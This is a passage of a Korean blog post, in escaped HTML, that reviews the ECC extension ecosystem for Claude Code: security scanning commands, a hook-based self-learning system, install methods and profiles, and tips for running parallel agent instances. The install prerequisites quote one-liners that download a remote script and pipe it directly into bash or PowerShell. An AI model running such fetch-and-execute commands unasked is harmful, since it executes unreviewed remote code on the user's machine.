npx ecc-agentshield scan --fix

# Opus 에이전트 심층 분석
npx ecc-agentshield scan --opus

# 프로젝트 초기화
npx ecc-agentshield init&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;출력 형식은 터미널(A~F 등급), JSON(CI용), Markdown, HTML을 지원한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 토큰 최적화 &amp; Continuous Learning --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 토큰 최적화 &amp;amp; Continuous Learning&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Instinct 시스템 (Continuous Learning v2)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/emEoZd/dJMcahRrUUX/xh5gbn2kbAiutUD94hiaQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/emEoZd/dJMcahRrUUX/xh5gbn2kbAiutUD94hiaQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/emEoZd/dJMcahRrUUX/xh5gbn2kbAiutUD94hiaQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FemEoZd%2FdJMcahRrUUX%2Fxh5gbn2kbAiutUD94hiaQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;830&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC의 자가 학습 시스템은 &lt;b&gt;Instinct&lt;/b&gt; 개념을 중심으로 작동한다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;PreToolUse/PostToolUse 훅(&lt;code&gt;observe.sh&lt;/code&gt;)이 도구 사용 패턴을 캡처한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;캡처된 패턴은 신뢰도 점수(0.3~0.9)와 도메인 태그(code-style, testing, git 등)를 가진 &quot;Instinct&quot;로 저장된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;프로젝트별로 스코핑되어(git remote URL 해시 기반) 프로젝트 간 오염을 방지한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;/evolve&lt;/code&gt; 명령어로 축적된 Instinct들을 클러스터링하여 새로운 스킬/커맨드/에이전트로 진화시킨다&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;관련 명령어&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/instinct-status&lt;/code&gt; &amp;mdash; 현재 학습된 Instinct 조회&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/evolve&lt;/code&gt; &amp;mdash; Instinct를 스킬로 진화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/instinct-export&lt;/code&gt; / &lt;code&gt;/instinct-import&lt;/code&gt; &amp;mdash; 팀 간 공유&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/promote&lt;/code&gt; &amp;mdash; 프로젝트 스코프에서 글로벌로 승격&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/prune&lt;/code&gt; &amp;mdash; 만료된 Instinct 정리&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;컨텍스트 관리 전략&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;862&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5BVV7/dJMcad2xJen/35eAkng86xlRP2Z1cRcsn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5BVV7/dJMcad2xJen/35eAkng86xlRP2Z1cRcsn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5BVV7/dJMcad2xJen/35eAkng86xlRP2Z1cRcsn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5BVV7%2FdJMcad2xJen%2F35eAkng86xlRP2Z1cRcsn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1572&quot; height=&quot;862&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;862&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC가 제안하는 컨텍스트 최적화 방법:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;세션 파일 패턴:&lt;/b&gt; 진행 상황을 &lt;code&gt;.claude/&lt;/code&gt; 폴더의 임시 파일에 저장하고 다음 세션에서 로딩&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;전략적 컴팩션:&lt;/b&gt; 자동 컴팩션을 비활성화하고, 논리적 구간에서 수동으로 &lt;code&gt;/compact&lt;/code&gt; 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;메모리 퍼시스턴스 훅:&lt;/b&gt; PreCompact(상태 저장), Stop(학습 지속), SessionStart(컨텍스트 로딩)로 세션 간 연속성 보장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP를 CLI로 대체:&lt;/b&gt; 토큰 비용 절감을 위해 MCP 대신 CLI 래퍼 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 설치 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 설치 및 시작 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;전제 조건&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC는 Claude Code 위에 얹는 확장 생태계다. &lt;b&gt;Claude Code가 먼저 설치&lt;/b&gt;되어 있어야 하며, 현재 공식 문서는 macOS/Linux/WSL에서 &lt;code&gt;curl -fsSL https://claude.ai/install.sh | bash&lt;/code&gt;, Windows PowerShell에서 &lt;code&gt;irm https://claude.ai/install.ps1 | iex&lt;/code&gt;, 또는 Homebrew/WinGet 설치를 안내한다. 계정은 보통 Claude 구독 또는 Anthropic Console 계정이 필요하며, Terminal CLI와 VS Code는 third-party provider도 지원한다. 개인 요금제는 현재 Pro 월 $20(연간 결제 시 월 환산 $17), Max 월 $100부터다. ECC 자체는 &lt;b&gt;무료(MIT 라이선스)&lt;/b&gt;다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC는 4가지 설치 방법을 제공한다. 제작자가 가장 권장하는 방법은 &lt;b&gt;플러그인 설치&lt;/b&gt;다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;822&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1Soiy/dJMcahDT7SW/wHb56hu2F1lI5KaxwAEKfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1Soiy/dJMcahDT7SW/wHb56hu2F1lI5KaxwAEKfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1Soiy/dJMcahDT7SW/wHb56hu2F1lI5KaxwAEKfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1Soiy%2FdJMcahDT7SW%2FwHb56hu2F1lI5KaxwAEKfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1514&quot; height=&quot;822&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;822&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 1: 플러그인 (권장)&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Claude Code 마켓플레이스에서 추가
/plugin marketplace add affaan-m/everything-claude-code
/plugin install everything-claude-code@everything-claude-code&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인 시스템의 제한으로, &lt;b&gt;Rules는 수동 설치&lt;/b&gt;가 필요하다. &lt;code&gt;rules/&lt;/code&gt; 디렉토리를 &lt;code&gt;~/.claude/rules/&lt;/code&gt;에 직접 복사해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 2: npm&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 언어 지정 설치 (두 가지 형식 모두 가능)
npx ecc typescript
npx ecc-install typescript
npx ecc python golang swift php&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 3: 셸 스크립트&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 저장소 클론 후 설치
git clone https://github.com/affaan-m/everything-claude-code.git
cd everything-claude-code
./install.sh typescript python golang

# Cursor 대상 설치
./install.sh --target cursor typescript&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 4: 수동 설치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;저장소를 클론한 뒤 필요한 디렉토리(&lt;code&gt;agents/&lt;/code&gt;, &lt;code&gt;commands/&lt;/code&gt;, &lt;code&gt;skills/&lt;/code&gt;, &lt;code&gt;rules/&lt;/code&gt;)를 &lt;code&gt;~/.claude/&lt;/code&gt;에 직접 복사한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프로파일 선택&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치 시 5개 프로파일 중 선택할 수 있다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;프로파일&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;포함 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Core&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;규칙, 에이전트, 명령어, 훅, 플랫폼 설정, 품질 워크플로우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Developer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Core + 프레임워크 언어, 데이터베이스, 오케스트레이션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Security&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Core + 전용 보안 모듈&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Research&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Core + 리서치 API, 비즈니스 콘텐츠, 소셜 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Full&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;전체 19개 모듈 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;설치 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;처음부터 모든 기능을 설치하기보다, &lt;b&gt;주로 사용하는 언어의 에이전트와 스킬만 먼저 선택적으로 설치&lt;/b&gt;하는 것을 권장한다. Shortform Guide를 가장 먼저 읽으면 전체 구조를 잡는 데 도움이 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 실전 활용 팁 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 실전 활용 팁&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;병렬 작업 패턴&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R5tpx/dJMcajn8ki4/HksnhbpizIlfRktRpyCih1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R5tpx/dJMcajn8ki4/HksnhbpizIlfRktRpyCih1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R5tpx/dJMcajn8ki4/HksnhbpizIlfRktRpyCih1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR5tpx%2FdJMcajn8ki4%2FHksnhbpizIlfRktRpyCih1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1532&quot; height=&quot;844&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC가 제시하는 병렬 작업의 핵심 원칙:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;/fork:&lt;/b&gt; 코드 변경이 겹치지 않는 독립 작업에 사용. 메인 채팅은 코드 변경용, fork는 질문/리서치용으로 분리한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Git Worktrees:&lt;/b&gt; 코드 변경이 겹칠 수 있는 경우 필수. 워크트리별로 Claude 인스턴스를 배정한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Cascade Method:&lt;/b&gt; 새 작업을 오른쪽 탭에 열고, 왼쪽에서 오른쪽으로 스위핑한다. 동시 3~4개 작업이 적정 수준이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Git Worktree로 병렬 Claude 인스턴스 실행
git worktree add ../project-feature-a feature-a
git worktree add ../project-feature-b feature-b
cd ../project-feature-a &amp;amp;&amp;amp; claude&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;과도한 병렬화 경고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;제작자는 &quot;5개 이상의 인스턴스를 무작정 띄우지 말라&quot;고 경고한다. &quot;최소한의 병렬화로 얼마나 많은 작업을 처리할 수 있는가&quot;가 올바른 목표다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Two-Instance Kickoff 패턴&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Uqerb/dJMcafMUsVh/PFH7CXdNO9wjVkqsdQxDAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Uqerb/dJMcafMUsVh/PFH7CXdNO9wjVkqsdQxDAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Uqerb/dJMcafMUsVh/PFH7CXdNO9wjVkqsdQxDAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUqerb%2FdJMcafMUsVh%2FPFH7CXdNO9wjVkqsdQxDAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;840&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;새 프로젝트를 시작할 때 2개의 Claude 인스턴스를 동시에 활용하는 패턴이다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인스턴스 1 &amp;mdash; 스캐폴딩 에이전트:&lt;/b&gt; 프로젝트 구조 생성, 설정 파일(CLAUDE.md, rules, agents) 셋업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인스턴스 2 &amp;mdash; 딥 리서치 에이전트:&lt;/b&gt; 외부 서비스 연결, 웹 검색, 상세 PRD 작성, 아키텍처 다이어그램 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주의사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;과도한 설정 금지:&lt;/b&gt; &quot;설정을 아키텍처가 아닌 미세 조정처럼 다뤄라.&quot; 복잡하게 만들면 오히려 역효과가 난다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트 윈도우 관리:&lt;/b&gt; 사용하지 않는 MCP와 플러그인은 반드시 비활성화한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서브에이전트 스코핑:&lt;/b&gt; 제한된 도구 = 집중된 실행. 서브에이전트에 모든 도구를 주지 않는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 인식:&lt;/b&gt; 외부 정보를 받아들이는 에이전트에는 반드시 격리/정제 단계를 거친다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;서브에이전트 컨텍스트 문제 해결&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트는 메인 에이전트의 의미적 맥락을 모른다. 해결책은 &lt;b&gt;반복 검색 패턴&lt;/b&gt;이다:&lt;br /&gt;1) 오케스트레이터가 서브에이전트의 반환값을 평가 &amp;rarr; 2) 후속 질문 &amp;rarr; 3) 서브에이전트가 추가 조사 후 반환 &amp;rarr; 4) 충분해질 때까지 반복 (최대 3회).&lt;br /&gt;핵심: 쿼리뿐 아니라 &lt;b&gt;목적(objective context)&lt;/b&gt;을 함께 전달한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 커뮤니티 반응과 주의사항 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 커뮤니티 반응과 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC는 2026년 상반기 가장 빠르게 주목받은 AI coding harness 저장소 중 하나가 되었다. 하지만 커뮤니티에서는 긍정적 반응과 함께 의미 있는 비판도 제기되고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;긍정적 반응&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;통합 시스템의 가치:&lt;/b&gt; awesome-claude-code 목록에서 &quot;significant standalone value(독립적으로 의미 있는 가치)&quot;가 있다고 평가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;솔로 개발자의 팀 효과:&lt;/b&gt; 한국 커뮤니티에서는 &quot;역할 기반 에이전트가 혼자서도 팀처럼 일할 수 있게 한다&quot;는 점이 높은 호응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 의식:&lt;/b&gt; AgentShield와 Security Guide의 CVE 기반 실전 보안 가이드는 독보적이라는 평가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;비판과 우려&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;과잉 설계(Over-engineering) 논란&lt;/h4&gt;
